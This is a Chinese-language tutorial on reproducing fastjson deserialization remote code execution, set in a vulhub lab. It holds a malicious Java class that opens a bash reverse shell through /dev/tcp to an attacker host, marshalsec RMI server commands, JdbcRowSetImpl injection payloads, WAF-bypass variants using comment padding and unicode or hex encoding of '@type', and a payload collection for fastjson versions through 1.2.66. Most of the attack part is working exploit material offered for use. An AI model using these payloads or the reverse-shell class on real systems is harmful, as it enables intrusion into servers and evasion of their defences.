fastjson漏洞复现和原理分析
fastjson简介
fastjson是一个java语言编写的高性能功能完善的json解析库。被广泛应用在缓存序列化、协议交互、web输出、android客户端等多种场景
它支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean
开发者常用的主要就是 jackson、 fastjson 这两个 JSON 处理类库
漏洞产生的原因
1、Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名;
2、Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法
漏洞演示分析
首先得导入fastjson库才能使用其中的类和方法,我这里直接新建maven项目,然后配置pom.xml文件,添加fastjson依赖
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
在src ->main -> java文件夹新建Poc类,内容如下:
import java.io.IOException;
class Poc {
private String cmd;
public Poc(){
System.out.println("Poc() is called");
}
public void number(){
System.out.println("number() is called");
}
public String getCmd() {
System.out.println("getCmd() is called");
return cmd;
}
public void setCmd(String cmd) throws IOException {
System.out.println("setCmd is called");
//测试fast反序列化是否会调用方法
this.cmd = cmd;
Runtime.getRuntime().exec(cmd);
System.out.println(cmd);
}
}
先看一下它的关键的函数
- 序列化:
String text = JSON.toJSONString(obj);
- 反序列化:
JSON.parseObject
返回JSONObject类型JSON.parse
返回实际类型对象
在老位置新建一个RceDemo文件,内容如下:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class RceDemo {
public static void main(String[] args) {
String Poc = "{\"@type\":\"Poc\",\"cmd\":\"calc\"}";
//这里的Poc是当前Poc文件的位置,若是在一个包里的话就写com.test.Poc,还是对应的文件路径
//这里的cmd是类的一个属性,calc是值
JSONObject b = JSON.parseObject(Poc);
//执行fastjson反序列化,传的参数Poc是字符串
}
}
可以很清楚的看到这里定义的普通number()方法没有调用,而构造方法、getter和setter方法都被调用了,所以构造恶意类的时候,只要使用fastjson反序列化的话就可以调用getter或者setter中的恶意方法了
- 按照这个思路我编写了一个恶意的类,可以执行任意的cmd命令,如下
import java.io.IOException;
import java.io.BufferedReader;
import java.io.InputStreamReader;
class Poc {
private String cmd;
public Poc() {
}
public void number() {
System.out.println("number() is called");
}
public void setCmd(String cmd) throws IOException {
this.cmd=cmd;
String payload = "cmd /c "+cmd;
Process process = Runtime.getRuntime().exec(payload);
InputStreamReader reader = new InputStreamReader(process.getInputStream(), "GBK");
BufferedReader br = new BufferedReader(reader);
String line = null;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
}
}
}
然后只要在传参的位置输入想要执行的系统命令即可执行命令且看到回显,如下
当然以上的只是本地的复现,在实际测试中并不会又一个恶意类给你调用,这里就需要使用到jbdc服务,通过远程调用来实现调用恶意类
模拟真实渗透测试反弹shell
1.2.24-rce漏洞复现
环境搭建
漏洞环境
直接使用vulhub来部署,使用docker特别方便,省略......
部署后的地址:http://192.168.241.137:8090/
注意:java版本 1.8.0_0111(或者JDK 6u132, JDK 7u122, JDK 8u113之前)
漏洞检测
1、报错法
随便抓一个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽!
缺点:报错消息可以不显示
2、使用dnslog
利用dnslog平台接收不显示报错消息的资产。
poc:
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
上面的是小于等于1.2.24的。在1.2.67版本后的poc如下👇
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}
漏洞利用
- 开启远程方法调用rmi服务
1、首先得下载开启rmi服务的工具:GitHub - mbechler/marshalsec
我这里直接使用kali了
git clone https://github.com/mbechler/marshalsec.git 下载marshalsec
apt-get install maven 安装maven
mvn clean package -DskipTests 使用maven编译marshalsec成jar包
2、启动RMI服务器
首先开启一个http服务,在恶意文件所在的目录打开终端开启
python3 -m http.server --bind 0.0.0.0 8888
然后使用刚编译好的工具开启rmi服务,我这里使用java1.8.0_0111开启
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.241.137:8888/#Poc" 9999
注意:#后面跟的是你的恶意类的名称
适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前
反弹shell恶意类如下
import java.lang.Runtime;
import java.lang.Process;
public class Poc {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.241.137/4444 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
注意:要使用java8将Java文件编译成class文件,然后放到刚刚开启http服务的目录
我这里是直接在Windows下载java8,然后在对应文件目录里编译
在攻击机上使用nc监听4444端口
nc -lvvp 4444
在漏洞页面发送payload即可反弹shell
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.241.1:8888/Poc",
"autoCommit":true
}
}
waf绕过
<=1.2.24
方法一:利用注释符绕过
{
"b":{
/*s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6*/"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.241.1:8888/Poc",
"autoCommit":true
}
}
方法二:使用Unicode或者十六进制编码关键字
原理:fastjson会自动将键与值进行unicode与十六进制解码
例如:将@type进行Unicode编码
{
"b":{
"\u0040\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.241.1:8888/Poc",
"autoCommit":true
}
}
将@type进行16进制编码
{
"b":{
"\x40\x74\x79\x70\x65":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.241.1:8888/Poc",
"autoCommit":true
}
}
方法三:在键、值外加空格、\n、\r、\f
等
原理:
Fastjson默认会去除键、值外的空格、\b、\n、\r、\f等
payload:
{\n"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.241.1:8888","autoCommit":true}
{"@type"\b:"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.241.1:8888","autoCommit":true}
注意:前两种方法都可以成功,第三种方法没有效果
多版本payload集合
影响版本:fastjson<=1.2.24
exp:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
影响版本:fastjson<=1.2.41
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
影响版本:fastjson<=1.2.42
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
影响版本:fastjson<=1.2.43
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
影响版本:fastjson<=1.2.45
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}
影响版本:fastjson<=1.2.47
exp:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}
影响版本:fastjson<=1.2.62
exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
影响版本:fastjson<=1.2.66
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","propertie": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
参考:传送门